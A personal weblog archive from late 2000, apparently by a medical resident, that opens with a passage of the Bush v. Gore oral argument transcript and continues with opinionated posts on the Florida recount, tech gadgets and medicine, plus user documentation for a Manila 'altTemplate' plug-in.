MR. OLSON: Well, I think we have to distinguish between whether we’re talking about a prospective uniform standard as opposed to something that changes the process in the middle of the counting and evaluating of disputes. But it certainly would —.

QUESTION: But if we’re talking about the contest period, and the statute, as Justice Souter pointed out, speaks with amazing breadth. It says that “the circuit judge” — this is the text — “shall fashion any order he or she deems necessary to prevent or correct any wrong and to provide any relief appropriate under the circumstances”. I couldn’t imagine a greater conferral of authority by the legislature to the circuit judge.

MR. OLSON: But we submit in the context of the entire election code itself. Now, the intent of the voter standard, the one that’s been cited and relied upon by our opponents most, is a provision that’s contained in the provision of the election code that deals with damaged or spoiled ballots.

QUESTION: Okay, but we have — there’s no question that the closest we can come now under Florida law is an intent of the voter standard. Is it your position that if any official, judicial or executive, at this point were to purport to lay down a statewide standard which went to a lower level, a more specific level than intent of the voter, and said, for example, count dimpled chads or don’t count dimpled chads. In your judgment, would that be a violation of Article II?

MR. OLSON: I don’t think it would be a violation of Article II provided that — I mean, if the first part of your question—.

QUESTION: All right, so —.

MR. OLSON: If we went from the standard that existed before, the dimpled chads, that that had not been a standard anywhere in Florida, if that change was made, we would strongly urge that that would be a violation of Article II.

QUESTION: Mr. Olson —.

MR. OLSON: It would be a complete change.

QUESTION: It is also part of your case, is it not, that insofar as that language just quoted is concerned, the power of the circuit judge to prevent or correct any alleged wrong, it’s part of your submission, I think, that there is no wrong when a machine does not count those ballots that it’s not supposed to count?

MR. OLSON: That’s absolutely correct, Justice Scalia.

QUESTION: The voters are instructed to detach the chads entirely, and the machine, as predicted, does not count those chads where those instructions are not followed, there isn’t any wrong.

MR. OLSON: That’s correct, they’ve been euphemistically — this has been euphemistically referred to as legal votes that haven’t been counted. These are ballots where the system created by Florida, both with respect to the initial tabulation and the preferred system for the recount, the automatic recount in close elections, is to submit those ballots to the same mechanical objective scrutiny that the initial count was done, and those were not counted either because there were votes for more than one candidate, which would make them overvotes, I guess they’re calling them, or that they read as no vote, which many people do, many people do not vote in the presidential election even though they’re voting for other offices.

QUESTION: But as to the undervotes, and as to the undervotes in which there is arguably some expression of intent on the ballot that the machine didn’t pick up, the majority of the Florida Supreme Court says you’re wrong. They interpreted the statute otherwise. Are you saying here that their interpretation was so far unreasonable in defining legal vote as not to be a judicial act entitled, in effect, to the presumption of reasonable interpretation under Article II?

MR. OLSON: Yes, that is our contention, and that has to be done. That contention is based upon everything else in the Florida statute, including the contest provisions. The manual recount provisions —.

QUESTION: What is it in the contest provision that supports the theory that that was a rogue, illegal judicial act?

MR. OLSON: Because there is no reference to them, even though that process is referred to —.

QUESTION: There’s no definition. There’s no definition. Doesn’t the court have to come up with a definition of legal votes?

MR. OLSON: In the context, in the context of the statute as a whole, manual recounts are treated quite extensively as a last resort for tabulation error at the discretion of canvassing officials.

QUESTION: At the protest stage?

MR. OLSON: That’s correct.

QUESTION: Mr Olson —.

MR. OLSON: We submit — and I would like to reserve the balance of my time.

QUESTION: Mr. Olson, is it critical to your position that the Florida Supreme Court erred in its resolution of the shall/may controversy in its first opinion?

MR. OLSON: I’m sorry, I missed —.

QUESTION: Is it critical to your position, because you’re tying the two cases together, that the Florida Supreme Court made that kind of error in its resolution of the conflict between shall and may in the disparate statute?

MR. OLSON: I don’t think it’s critical. What we’re saying is that the court expanded upon its previous decision that was vacated in this case, it used the time period that it opened up to do this manual recount to then build upon in the December 8th opinion.

QUESTION: Very well,

MR. OLSON. Mr. Klock, we’ll hear from you.

[Macro error: Can’t find a sub-table named “responseHeaders”.]
Stuff for Jason from Q:

[Macro error: Can’t find a sub-table named “responseHeaders”.]


IN THE SUPREME COURT OF THE UNITED STATES

— — — — — — — — — — — — —
GEORGE W. BUSH AND
RICHARD CHENEY,
       Petitioners,
    v.
ALBERT GORE, JR., ET AL.
— — — — — — — — — — — — —
x
:
:
:
:
:
x
No. 00- 949

        Washington, D. C.

        Monday, December 11, 2000

The above-entitled matter came on for oral argument before the Supreme Court of the United States at 11: 00 a. m.

APPEARANCES:


  • THEODORE B. OLSON, ESQ., Washington, D. C.; on behalf of the Petitioner. (arg, reb)

  • JOSEPH P. KLOCK, JR., ESQ., Miami, Florida; on behalf of Respondents Katherine Harris, et al., In support of Petitioner. (arg)

  • DAVID BOIES, ESQ., Armonk, New York; on behalf of Respondents. (arg)

Proceedings [11: 00 a. m.]

CHIEF JUSTICE REHNQUIST: We’ll hear argument now on number 00-949, George W. Bush and Richard Cheney, versus Albert Gore, et al. Before we begin the arguments, the Court wishes to commend all of the parties to this case on their exemplary briefing under very trying circumstances. We greatly appreciate it. Mr. Olson.

I started another inpatient rotation today, this time for a whopping six weeks. If you don’t hear from me for a few days, don’t be alarmed; the admission and discharge rate on this service is enormous, and sleep will be a premium.

If anyone wants a copy of the transcript of today’s Bush v. Gore Supreme Court arguments in PalmPilot Doc format, here you go. (A regular PDF file, as well as the text document I made to then make the Palm Doc, are also available.)

Alan Brinkley, a brilliant history scholar from my alma mater, has what I think is a fantastically-written article on Slate today regarding the U.S. Supreme Court’s descent into the political trenches, and specifically, Scalia’s unprecedented “press release” which conveyed the notion that deliberation is futile, the game’s over.

The website cataloging the winners of the 5K website contest is finally live; damn, it’s a beaut, and it’s fun trawling through the entries.

Zero for 11 — craptastic.

Once again, thanks to Gael for passing on the link to Where Are the Toons Now? — funny, damn funny.

Wow, California’s having some major power problems. This is about when all those dot-coms start realizing how smart it would have been to co-locate mirrors of their websites around the country…

“A culture of carelessness seems to have taken over in high-tech America. The personal computer is a shining model of unreliability because the high-tech industry today actually exalts sloppiness as a modus operandi.” This is a pretty damn good glimpse at the lack of quality engineering in the U.S. high-tech arena.

After the Knicks/Spurs game a few nights ago (in which my beloved Spurs got beaten by the weak Knicks, grrrrr), the NY Times ran an article looking at Sean Elliott, the Spurs guard who underwent a kidney transplant two years ago and is now playing one of his best seasons ever. What a terrific story.

Also in the world of sports, Mitch Albom has a column in the Detroit Free Press lamenting the world of $100-million players in the NBA, and what it has meant for the world of coaching managing. (For those who haven’t read it, Mitch Albom is the author of Tuesdays With Morrie, one of the best books I have ever read.)

Choose Your Own Adventure: Election Edition.

In all this election turmoil, I’ve heard the term “Constitutional crisis” bandied about willy-nilly, and I’ve wondered at times if the person offering their take on the situation has any idea what they’re talking about. NYU Law School professor Marci Hamilton has written a great article on how, rather than being a Constitutional crisis, this ongoing election highlights how strong and crisis-ready our Constitution really is.

In further election-related news, the U.S. Commission on Civil Rights has unanimously voted to review the many reports of election-related discrimination and fraud once the new President is in office.

Today in Austin, Dubya yet again demonstrated his complete lack of understanding of the English language:

“The great thing about America is everybody should vote.”

AwesomeNew York City has decided that it will sever all ties to the Boy Scout of America at the end of the current contract, given the organization’s overt discrimination against gays. (I particularly love the letter from a representative of the Boy Scouts claiming that they don’t discriminate; how else does he explain their position in front of the Supreme Court last term?) In addition, LA cut off all support of the Boy Scouts last week, which includes the police support of the Explorers.

Meanwhile, in the how-brazen-can-you-get department, the Boy Scouts are suing the Broward School Board for evicting them from the city’s schools. The Scouts claim an absolute First Amendment right of “access to open forums” — the schools themselves. They also claim that their right to expressive freedom (the right which was upheld by the Court in allowing them to exclude gays) also means that others cannot exclude them; not only are the holes in this argument big enough to drive a truck through, the Justices of the Court predicted this consequence in their questioning of the Scouts lawyer, and legitimized it by asking him if the organization was willing to fight for their rights even if it meant that governmental agencies would then have to sever their ties to the Scouts.

Remember the New Yorker article I talked about a couple of days ago? Turns out that parts of it were totally fabricated. Rothman’s mom worked at the company he “infiltrated,” he never received a free massage, and he made up interactions; my faith in the media is shot.

(By the way, now that NewsBot has become merely a search of Lycos’ news feeds, the only search engine left that specializes in news articles is Excite’s Precision Search, and it’s not all that great. Wouldn’t this be a great niche for Google to slide into?)

Neale really is a devious genius.

Finally, there’s a great reason to work for the U.S. government! Do you think that all the people who already have Iridium handsets will get to play?

Teen arrested for tossing baby out of a window in New York. Is there a better statement than this as to why the 15-year-olds that I’m seeing in adolescent clinic shouldn’t be trying to get pregnant?

From Clinton: “Tag… you’re it!”

OK, this really is the coolest Lego sculpture I’ve seen. I just don’t see how he did it without glue; I wonder how much the damn thing weighs in its entirety.

I highly recommend taking advantage of the eight days remaining in the VMware hobbyist pricing scheme. VMware is the single best way to be able to test out new software configurations and installation packages; it also can serve as a protected enclave in which to open virus-laden email, run crash-heavy apps, or use RealPlayer.

Dahlia Lithwick is the only Supreme Court reporter that will not only write about the general arguments made before the Court, but will also note the conversation the Justices had about the now-famous pre-teen arrested for eating fries in the Washington Metro. Dahlia rocks.

I told you so.

Wow — it’s been a year since I started keeping this website alive. It doesn’t feel like a year…

I don’t know what it is, but I rarely agree with other people’s “Best Of” lists. That being said, coincidence has it that Dan Egger and I agree on the #1 Simpsons moment of all time.

I read a ton in the news earlier this year about the parents who were being prosecuted for the obesity of their child, and a lot of it lamented that it was an unnecessary intrusion into parental caretaking liberties. After reading this article about the true situation, though, I have no sympathy for the parents; they had a four-year-old, 138-pound baby, and they were feeding him fast food. The BiPAP machine (a type of intermittent ventilator) they had for the boy had cockroaches in it. Parenting isn’t just a right, people — it’s a responsibility, and taking it less than completely seriously should lose you the right.

A whole bunch of things I want for my Sony Clie: expansion modules, a wireless adapter, and a GameBoy emulator.

My friends, herein lies the reason that the American Academy of Pediatricians recommends the sole use of the injectable polio vaccine. (For those less medically-inclined, the oral vaccine can mutate in the stomach to a fully-live virus; it won’t infect you, but it will infect anyone who comes into contact with your poop and whatnot.)

If, in a conversation about a cat who accidentally drank some antifreeze, a woman also asks how much antifreeze it would take to kill a person, you may want to check on the health of her husband

Lost in all the election news: Clinton establishes the largest protected area in the U.S. out of the the coral reefs of Hawaii. (Of course, don’t worry — once we’re in a Bush administration, Cheney will rescind the designation.)

Has the BushBlog really been around since November 22nd, or did they just predate a whole lot of entries? Whatever the answer, the thing’s friggin’ hilarious. “Told Jim if he wouldn’t let me concede, I’d take it to court. And I will, soon as Jim lets me out of my room. I didn’t know the doors could lock from the outside.”

Lots and lots and lots of election news today. First, the Leon County Circuit Court ruled in favor of Bush, saying that there would be no hand recount of the 14,000 disputed ballots from Southern Florida. Gore immediately appealed, and the appeals court immediately kicked to case to the Florida Supreme Court. Next, the U.S. Supreme Court threw the vote certification case back to the Florida Supreme Court (opinion here); that makes two big cases that are now on their desks. And lastly, former President Bush is to undergo hip replacement… oh, wait, that’s just minimally-important news that the stations are using to fill time.

Regarding the U.S. Supreme Court decision, most news outlets are making this out to be a big win for Bush, but so far as I can see, it’s not. Taken literally, the Court told the Florida Supreme Court that it couldn’t understand the argument made in the lower court’s decision; figuratively, though, it was probably as clear a sign as I’ve ever seen of a Court that wished it hadn’t taken a case. For God’s sake, they kicked it down to the Florida Supreme Court with a complete roadmap of what the lower court would have to say to prevent their clarified decision from being reviewable by the Supremes; they made it clear that a clarified ruling for Gore would be untouchable.

Salon also has a great Law and Order-type story about the testimony in Leon County, and how a clerk got a piece of information to one of the lawyers just quickly enough for him to make a witness change his story 180 degrees.

Mix the first modern hotly-contested election with the first election in the age of the Web, and what do you get? The Bush-Cheney Presidential Transition Foundation Website. Ladies and gentlemen, it don’t get more pathetic than this.

As one of the funniest things I’ve read in a while, the New Yorker ran an article on November 27th by Rodney Rothman detailing his two-week stint pretending to work for a Silicon Alley dot-com. He just walked in each day, set up shop at an unused desk, made phone calls, drank free drinks, and took in the free massages; only once was he asked what he did, and he told the truth. The Star Trib has an entry about the story in their weblog; apparently, employees of the company that’s commonly thought to be the one Rothman infiltrated have been chatting it up at The Vault (although I can’t get through right now).

The Onion rules the roost yet again: Teen Exposed To Violence, Profanity, Adult Situations By Family. (Second-best in this issue: including “Always scrubbing hands before performing surgery” in their chart of Top Obsessive-Compulsive Disorders.)

Did Netscape jump the gun with new browser? (Yes.)

FreeMedical Journals.com: tracking all of the journals that make their content free on the web. Mostly a bookmark for myself, but it may come in handy for all of you people as well.

For those of us without web-enabled cellphones, Dack presents Cell Phone Theater. It’s a modification of one of my favorite sites, Stick Figure Death Theater; apparently, a lot of these have been going around for the web-enabled cellphone crowd. Classic.

What… a… FREAK.

If you’re a lawyer arguing in front of the Supreme Court, what’s the only thing worse then calling Justice Ginsburg “Justice O’Connor”? Calling her “Justice O’Ginsburg,” which is what Ted Olson, lawyer for Dubya, did (although the official transcript leaves that little bit out).

Also related to the Court arguments this past Friday: mccullagh.org has pictures of the frenzy in front of the Court, and scholars are desperately trying to predict what each and ever word uttered in the session means.

Why is it a school’s job to prevent kids from having overfilled backpacks? Where are the parents in all this? Do they not care about their kids’ health? (Rhetorical question, people — I work with kids, and have found myself very disappointed at times with how little some parents care.)

It appears that Mel Lastman is learning, the hard way, that there are instances where a parent cannot waive the rights of his or her children. (Interestingly, this tenet was highlighted in last week’s episode of The Practice, when Lindsay explains to Ellenor that a contract with the father of her unborn child doesn’t preclude the child from later suing for rights.)

Congratulations to all the winners of the first Online Journalism Awards. Salon (which astute readers of Q will recognize as one of my favorite reads) won the General Excellence in Online Journalism award for original web content; APBnews.com won four awards, despite their difficulties this year. There are a ton of excellent sites here, too many for me to look at in one night.

14 Remaining Netscape Users Rejoice Over Release of Netscape 6.

The one annoying thing about my Sony Clie is the case (a leather wraparound case that makes it too bulky for my front shirtpocket); that’s why I want this case so badly. I wish that I knew how to read Japanese, and that this page had an address to which I could write to inquire about availability.

Dahlia Lithwick has weighed in on yesterday’s arguments before the Supreme Court; her basic take is that there were a lot of traditional roles reversed by the Justices.

(I’ve mirrored the transcript and MP3 files of the Supreme Court oral arguments, by the way.)

Eric Boehlert has one of the most incredible articles I’ve read on the obvious disparity between traditionally conservative and liberal media coverage of the ongoing election saga. A representative quote:

It’s as if the impeachment debacle created a minimum standard for conservative bile, and now everyone simply takes it for granted that the right-wing press will serve up bitter, resentful, ad hominem attacks on the flimsiest of pretexts.

Is this crap really still going on? In all honesty, given the relatively great possibility of a Bush presidency, the Republicans should probably lay off of Clinton at this point; I have a good feeling that there are a ton of skeletons in Dubya’s closet. Hell, even the things that we know about up to this point (the coke, the DUI and avoidance of rehab, the entire Texas Rangers deal) would make for four years of Presidential hell, easily.

Yesterday was World AIDS Day, as well as A Day With(out) Weblogs; you can see the home page that appeared on this site here.

Below is the transcript and the audio of the Supreme Court oral arguments in Bush v. Palm Beach County Canvassing Board, argued December 1, 2000. The files are all MP3s, downloaded from FindLaw’s election coverage site (who produced them in cooperation with Northwestern University’s Oyez Project).

NOTE: I have no idea if it is acceptable to reproduce these files; it seems from the Supreme Court press release that it is OK to copy and distribute them. If I am in error about this, please let me know and I’ll stop.

Pardon my absence today; I’m participating in A Day With(out) Weblogs.

After some feedback on the Manila altTemplate plug-in, I’ve updated a few scripts. If you’ve installed it, all you need to do is update the altTemplate root, and voila, the updates will flow in.

Shocking newsthe Republicans are hypocrites!

Damn that Y chromosome, I wanna be a tetrachromat!

An short passage, encrypted by Edgar Allen Poe in 1841, was just decrypted by a Canadian computer programmer. (Strangely, it predicted that a clueless buffoon would win the 2000 election…)

I wonder if, after the installation of the new solar panels, the space station will even be visible from NYC… now that would be cool. Hell, it’s just cool that they’re about to install panels that are 240 feet wide onto an orbiting object.

I dunno, do ya’ think that it’s about time to cut out this Nazi relic? I wonder how the Germans let this go for 63 years, but then again, I wonder why someone planted a swastika of larch trees in the first place.

From the pictures, it looks like you had a nice Thanksgiving, Meg; personally, I’m just happy that the Iron Giant was allowed to participate.

Below is a list of the bugs in altTemplate, both fixed and unfixed, as well as the feature additions or removals.

Unfixed bugs

None, yet.

Feature changes

None, yet.

Fixed bugs

Fixed two redirection errors where it was assumed that a site is at the root of a Manila server’s webserving hierarchy; now, altTemplate figures out where a site is located by the #ftpSite.url object in the site’s database. (Errors in 1.0a1, version number not incremented after change.)

I downloaded and installed the plugin, enabled it on a test site, then attempted to add a template but got this error.

Sorry! There was an error: There is no folder or object database named “at.root” in the folder “Macintosh HD:Frontier 6.1:Guest Databases:www:”

My server is set up to create subsites rather than top-level sites. Does this cause problems with the plugin?

Stan

New Manila plug-in: altTemplate. It allows you to create new, alternate templates for your Manila site, and render selective messages through those templates. (As an example, here’s the altTemplate home page rendered through a totally blank template.) You have to control your own Manila server in order to install and use the plug-in (although, of course, you can ask your server manager to install it as well).

First, he says he didn’t do it — “I’m such a good person. People who know me just can’t believe this is happening.” — and then he admits he did it — “I apologize. I do understand that everyone should have to pay the tolls.” With people like Clinton and Dubya setting good examples for the proper way to respond to allegations which turn out to be provable and true, though, would you expect anything different from average American citizens?

Cool — while they’re not allowing cameras in the Supreme Court, the Justices are going to release the audio of Friday’s hearing “on an expedited basis.” It will be cool to listen to those arguments; that being said, Justices frequently ask devil’s advocate questions, and I’m willing to bet that TV stations will turn the tape into soundbites that take a lot of those kinds of questions well out of context.

Michael Kinsley has a good column on the idiocy of whining about the contesting of Florida’s election returns. My favorite point: Katherine Harris actually used the necessity of being able to contest an election in a timely fashion as the reason for having to certify the results when she did; buying her need to certify the election also buys you into the legitimacy of contesting the returns once certified.

last updated:

current version: 1.0a1 (change list)

A while back, I realized that one of the biggest problems with Manila is that every page is rendered through the exact same master template.[1] This means that, if you want a pop-up window rendered out of your Manila site, or a page with a different background color, or without the stuff that you’ve framed every other page with, you’re out of luck. A few days later, though, I realized that I could change it, and out of that realization came this, the altTemplate plug-in.

Once again, if you install this plug-in, I’d love it if you’d drop me a message to let me know what you think, and if you have any problems.

What does it do?

This plug-in lets you create alternate templates, and then render messages through those templates. These templates can be nearly-identical, or completely different, than your current site template, and you can create as many of them as you want (limited only by memory requirements of the machine running Frontier and Manila). For an example, check out this very page rendered through a completely blank template.

How do I use it?

It’s a standard Manila Plug-In, which means that it needs to be installed on your Manila Server, and then enabled for each site that wants to use it.

If you control your own Manila server, then this is easy — you can download and install the plug-in yourself. If your site is on a public Manila server that you don’t control, then you need to ask the administrator of that server to download and install the plug-in, and then you can enable it on your site.

There are two downloads, both very small — a ZIP file (6 Kb), a StuffIt archive (6 Kb, thanks to Marek Behr), and a straight Frontier root file (25 Kb).

Installing the plug-in

  1. After downloading, and (if necessary) unzipping, altTemplate.root, put it into the apps subfolder of Frontier’s Guest Databases folder.
  2. Open altTemplate.root in Frontier.
  3. With altTemplate.root frontmost, go to Frontier’s Server menu and choose Add to user.databases…. Affirm that this is what you want to do, and then close the user.databases subwindow once it comes up.
  4. Run the script in altTemplate.root at atSuite.install — this will install and register the plug-in. That’s it for the installation.

Updating the plug-in to the latest version

The altTemplate plug-in supports Frontier’s standard subscription mechanism, so you can update it from within Frontier. Make the altTemplate.root window visible and bring it to the front, and then choose Update altTemplate.root… from the Main menu.

Enabling and setting up the plug-in on a site

Log into the site as a managing editor, and choose Prefs from the editors-only bar at the top of the page. Click on Plug-Ins in the left-handed navbar once it comes up, and then check the checkbox next to altTemplate. Submit the form.

Now, the editors-only bar at the top of the page has an added entry, altTemplate, which will take you to the configuration page for the plug-in. Click on it.

This next page is the main altTemplate configuration center; from here, you can add, edit, or delete templates, and you can manage the process of rendering messages through templates (called “template associations”).

Adding a template: when you enter a name and click on “create template,” the template record will be created in your website database, and you’ll automatically be taken to the page to edit the new template. Easy cheesy.

Editing a template: choose a template from the pull-down, and then click on “edit template.” The edit page is very similar to the template section of the Manila Advanced prefs page; you enter the template the same way. The difference inherent in altTemplate is that the only macro required is the {bodytext} macro; I’m even toying with eliminating this, as well. Click on “submit template” when you’re done.

Deleting a template: this is the easiest option; all you have to do is choose the template and click on “delete template.”

Managing associations: this is where the heart of things happens. Clicking on “manage associations” brings you to another page which allows you to add, edit, and delete the tying of templates to specific messages.

Adding an association: in order to add an association, you need to know its message number in the discussion group. (In addition, right now, you can only associate stories with alternate templates, so you’ll have to promote a message to the level of story before you can add the association.) Type in the message number, choose the template you want to use from the pull-down, and type in a pathname with which you’d like to access the message rendered in the new template. The pathname will be added to the end of a URL to call up the association; see below, in the Accessing an association section, for how it’s used in the URL.

Editing an association: in the table at the bottom of the page, you’ll see all of your associations; clicking on “EDIT” will move the information about the association up into the “add/edit association” section of the form, and you can change it as you wish.

Accessing an association: this is the key to the whole plug-in — the URL that you use to render the message through the new template. In the same table at the bottom of the page, the leftmost column contains all of the pathnames, and each is a link that takes you to the message rendered in the chosen template. Click on it to see what happens. In a nutshell, though, the URL format is as follows:

http://some.host.com/at/view$pathname

Deleting an association: in the same table, you can click on “DELETE” and the association will vanish.

That’s it — the docs are a bit skimpy so far, since the plug-in is still in alpha testing.

What if I find a problem?

You can mail me with any problems, or post to the discussion group, and I’ll do everything I can to fix ‘em. Once fixed, you can just update your altTemplate.root to get the updates.

Footnotes

[1]That is, every page except for the home page, if you enable the home page template option

A few searches I’m proud to be a part of, but semi-bewildered about nonetheless:

Snippet of conversation last night between my friend and me, walking downtown across 34th Street on the East Side of Manhattan, lamenting the fact that most stores were closed and people weren’t out and about:

Friend: “If we were here on the West Side, people would be out and things would be open.”
Me: “Yeah, but here on the West Side is all porn.”
Friend: “Well, at least porn is open!”

Oh, this Phish fan resume (from MetaFilter, of course) is sheer genius.

The Supreme Court declared drug roadblocks unconstitutional today, based on Fourth Amendment protections against unreasonable searches. And for those worried about Bush’s potential effect on this country via nominations to the Court, be afraid — Sandra Day O’Connor, one of the “conservatives” often said to be a possible retiree over the next four years, wrote for the majority in this case. (For those not averse to PDF files, the decision is already published.)

After reading how many people are turning to the web for medical information, I think that there’s a real, strong opportunity for the big medical organizations (American Medical Association, American Academy of Pediatrics, etc.) to build a good, evidence-based, consumer-level website of medical reference. I spend so much time debunking web-based folklore (not to mention truly dangerous ideas); I’d love to be able to point my patients to something that I know I could trust.

Sex change on the Internet…

Finally, a quote about the Microsoft trial that I can agree with:

“[Jackson’s] extensive public comments about the merits of this case epitomize his disregard for proper procedure. [His] public comments would lead a reasonable observer to question his impartiality and — together with other procedural irregularities — the fairness of the entire proceeding.”

Of course, Jackson may not have that much longer on this case; many analysts see him being removed from the case if and when the District Court sends it back for reconsideration (and that’s if his breakup order isn’t overturned.)

And in other Microsoft news, University of Utah professor Lee Hollaar wants to file an amicus brief in support of the government, claiming unique insight into MS operating systems due to his prior study of the source code. The problem with this, however, is well-stated in Microsoft’s reply brief: “Mr. Hollaar has apparently forgotten that he became acquainted with the source code of Microsoft’s operating systems in the Caldera and Bristol cases pursuant to protective orders that strictly prohibit him from using that knowledge for any purpose other than preparing his testimony in those cases.” And people accuse Microsoft of dirty pool?

Possibly one of the coolest pictures I’ve seen in my lifetime: Earth At Night, assembled from hundreds of pictures taken by the satellites of the Defense Meteorological Satellites Program.

If you can’t convince women to have sex with you by “traditional” means, then convince them that you’re a faith healer, and sex with you would cleanse them of evil spirits. (Careful, though; your prison cellmate may try the same reasoning on you…)

I think it would be a bad precedent to set to let people who have too much money and too little neuronal function launch into space and spend time on the International Space Station. Next, you’d have Larry Ellison sneaking continent-sized Oracle ads into space in his carry-on luggage, and that just cannot amount to much good.

While (obviously) partisan, Robert Wright’s latest editorial on Slate is a damn good summary of just how offensive the behavior and rhetoric of the Republicans has been in the past few weeks. And elsewhere on Slate, Timothy Noah weighs in, catching Katherine Harris in yet another lie about what she could and could not do Sunday night in her vote certification. (Hint to Katherine: if you’re going to lie, don’t do it while citing your reasons in publicly-recorded laws; someone can, and will, eventually read the law and realize that you’re full of shit.)

I’m soooo sick of the press using kid gloves on Dubya; for the love of God, the man is asking Democrats not to challenge the election results any further, yet he also filed his fifth lawsuit yesterday to force Florida counties to adjust their ballot numbers! He also was the one who filed the appeal to the Supreme Court. If he really meant what he said, he’s withdraw the appeal at the Court — but, of course, he’s never meant what he has said. What a disingenuous boob.

Of course, the Supreme Court ruled to keep cameras out. But does C-SPAN’s general counsel really think that this case is more deserving of cameras than any other? I find that hard to believe.

George W. Bush, or chimpanzee?

Today, in the same DaveNet, a scold about irresponsible use of suppositions and hyperbole and then a great example of said traits:

Stop and evalutate. Only say things you know to be true. Every adult has this responsibility.

Certainly the Gore strategists are working on a plan to get the military involved on their side. Perhaps the talk of fascism is part of that plan?

Interesting…

I love the idea of ISSN numbers for weblogs — if nothing else, it can help make all of us freaks feel like there’s a legitimate purpose to the amount of time we spend maintaining our sites.

I gotta tell ya’, I’m proud as hell to be in the returns of this search.

Time Warner has settled, with prejudice, a pending lawsuit with the Department of Labor for $5.5 million; much like the recent Microsoft fracas, Time Warner was being sued for alleged misclassifications of employees in order to avoid having to provide benefits. I’d imagine that, with the imminent merger with AOL, Time Warner wanted to get this behind them.

CNN and the Florida Broadcasting Association are asking the U.S. Supreme Court to allow cameras in the Court during this Friday’s election-related appeal. I can’t imagine that they’ll get the permission; while much more media-saturated, this is hardly the most important case that’s been argued before the Court in the past few years.

What’s interesting to me is that it appears that Laurence Tribe will be arguing for Gore; he’s been bandied about as a possible nominee to the Court someday. As for Bush’s counsel, I’ve actually heard Ted Olson argue before the Court, and he’s no dummy either. Two friends of mine are going to be at the arguments, which would be damn cool.

I’m not sure why, but I think Damien’s trying to say something in today’s post, and it’s not necessarily about fairness in secondary school test grading…

Can you imagine losing a satellite on launch, sucking it up and building a replacement satellite, and then losing that satellite on launch? The satellite was going to provide consumer-level imaging of Earth, with resolution down to one meter; EarthWatch has offically declared the mission a failure.

Happy post-Thanksgiving, big-ass-shopping day!

This morning, I fell in love, hopelessly, swimmingly, forever in love… with my new 17” flatscreen monitor. It turns out that my residency program dropped a big check in my account this week, a “housing allowance” that I had not known about. So instead of treating it like a housing allowance, I treated it like a buy-a-nice-present-for-Jason allowance. I went to CompUSA first thing this morning, walked out ten minutes later with my new toy, and had it hooked up and running within the hour; I love it.

I gotta say it, I just don’t understand Radio Userland. The entire beauty of Manila and Blogger is that you do everything you want to do in your browser window — no other app needed, and more importantly, no other app needed when you’re somewhere other than your primary workplace. You don’t have to keep the settings of some application synchronized across two or three computers. All you need is your browser. That’s the key for me, and the only way I could continue to maintain a (quasi-)daily website.

This week, Microsoft announced that the next release of Windows will require software to be digitally signed in order to run. The problem with this is that it just shifts the security burden to another group of companies, those that issue digital signatures (e.g., Verisign, Baltimore, and GlobalSign), and it’s another set of privacy policies, issuance rules, and revocation procedures that we will all have to learn and follow.

Uh oh…. is it a server configuration error, or are Meg and Evan up to something supersecret and clandestine today? If they’re taking over the world, I want to be first in line to request the position of Ambassador to TiVo and Other Gadgetry.

Last night, I was playing around with ofoto with a cousin of mine, and was blown away by the little drag-and-drop applet that they provide to be able to upload images easily; I wish that Manila had this feature. The help info says it works in Internet Explorer on the PC, and in both IE and Netscape on the Mac — that covers a lot of ground.

Thank you, Firda, for the link to the Modern Humorist Real-Life Worst-Case Scenario Survival Handbook. Classic.

I did not avoid Vietnam service by enlisting family help to get into the Texas National Guard. I have not been arrested since 1968. I didn’t talk about my DWI because I didn’t want my daughters to follow in my footsteps. Dick Cheney did not have a heart attack. I wonder what all these statements have in common…

And, demonstrating his complete lack of understanding of how this country has divided roles among the various branches of government, we have Dubya in Austin today:

“The legislature’s job is to write law. It’s the executive branch’s job to interpret law.”

How badly do I want this? Bluetooth is going to lead to some cool-ass toys.

I bet that porting Wpoison over to the world of Frontier, as a Manila site plug-in, would be a trivial task…. maybe something to think about doing over the weekend holiday.

Where did all of Ocean.com’s seed money go? To an expensive URL, an annoying Flash-animated splash page, and an “unlaunch” party; the company won’t ever see the light of day.

Jason Kottke seems to have caught a web thief in flagrante, as it were, an excellent catch. (I took screenshots of both the IBM and Sumerset sites, just for posterity’s sake…) Google’s got a cached page that includes a form link to IBM.com in it; I also got a screenshot of the page and its source, clearly showing the IBM.com link.

Ah, you’ve gotta love that new XFL.

I say we demand a new rule for the media: every time that they report a Republican official’s complaints about how terribly unfair it is for Florida to be counting dimpled ballots, they must also report that Texas election law (and specifically, law signed by George W. Bush) specifically counts dimpled ballots. That way, at least the entire media-consuming public knows what a crock of shit these complaints are.

Thankfully, in the deluge of Florida election-related news, the news outlets are gettin’ plucky: Court Legalizes Hand Jobs.

Looks like, despite all the bitching and moaning, Carnivore works the way the FBI said it does. There’s such a fundamental distrust of law enforcement in this country; the only way that the independent review of Carnivore would have mattered is if Perritt concluded that it violated basic tenets of security, in which case people would have trumpeted the finding as proof of their suspicions. The fact that the review found no major problems will go mostly unnoticed.

From Luke today comes news about a new O’Reilly book, this one on securing Windows NT and Win2K servers on the Internet. The first chapter is online; time to do some reading!

For those New Yorkers who don’t know, tomorrow night all the floats for the Macy’s Thanksgiving Day Parade get inflated on the roads surrounding the Museum of Natural History; from 6 PM to 11 PM, you can walk around and watch ‘em grow. I found out about this years ago, and try never to miss it — lots of kids, and you can see the floats without having to freeze your ass off at the godawful Parade.

I was wondering why Gwyneth Paltrow was on the last Saturday Night Live! (And since we’re on the subject, can anyone give me a good reason why Gwyneth and I aren’t dating?)

What a strange, strange man — there must be room in the DSM-IV for his condition.

Cheney’s Wyoming “residence” has again been challenged, this time by three Texas residents. It turns out that the suit filed last week by a Florida resident was dismissed; the most recent suit was filed hours after that dismissal.

eBay took quite a hit today, although being one of the few profitable dot-com businesses, this may be more part of the general dot-com fear rather than realism.

From the CNN homepage today — buy more than $40 from Barnes & Noble (through the end of November 24th), get $10 off with coupon code ZZJ8KSW. (I mention this because I know I need to get cracking on the holiday book presents, so I assume others do too!)

I had to come home early from the hospital today — to meet my Time Warner cable installer, who was here to put in my new digital cable boxes. Damn, is digital cable nice. The image is crystal clear, the guide kicks ass, and the box has some interesting connections on the back (USB, FireWire, and “data” which looks like some sort of serial port; the manual also shows the possibility of an ethernet port). Time to play a bit. (If anyone else has a Scientific Atlanta Explorer 2000 set-top box, drop me a line.)

Yahoo has been banned from allowing French users to view or participate in any auctions of Nazi memorabilia. I wonder how Yahoo plans to handle this; they’ve either got to come up with a technical solution or ban Nazi memorabilia auctions worldwide.

If, at first, they don’t recognize you’re still alive, call, call 911 again. They didn’t check for a pulse? Great job, guys.

Spooooooky.

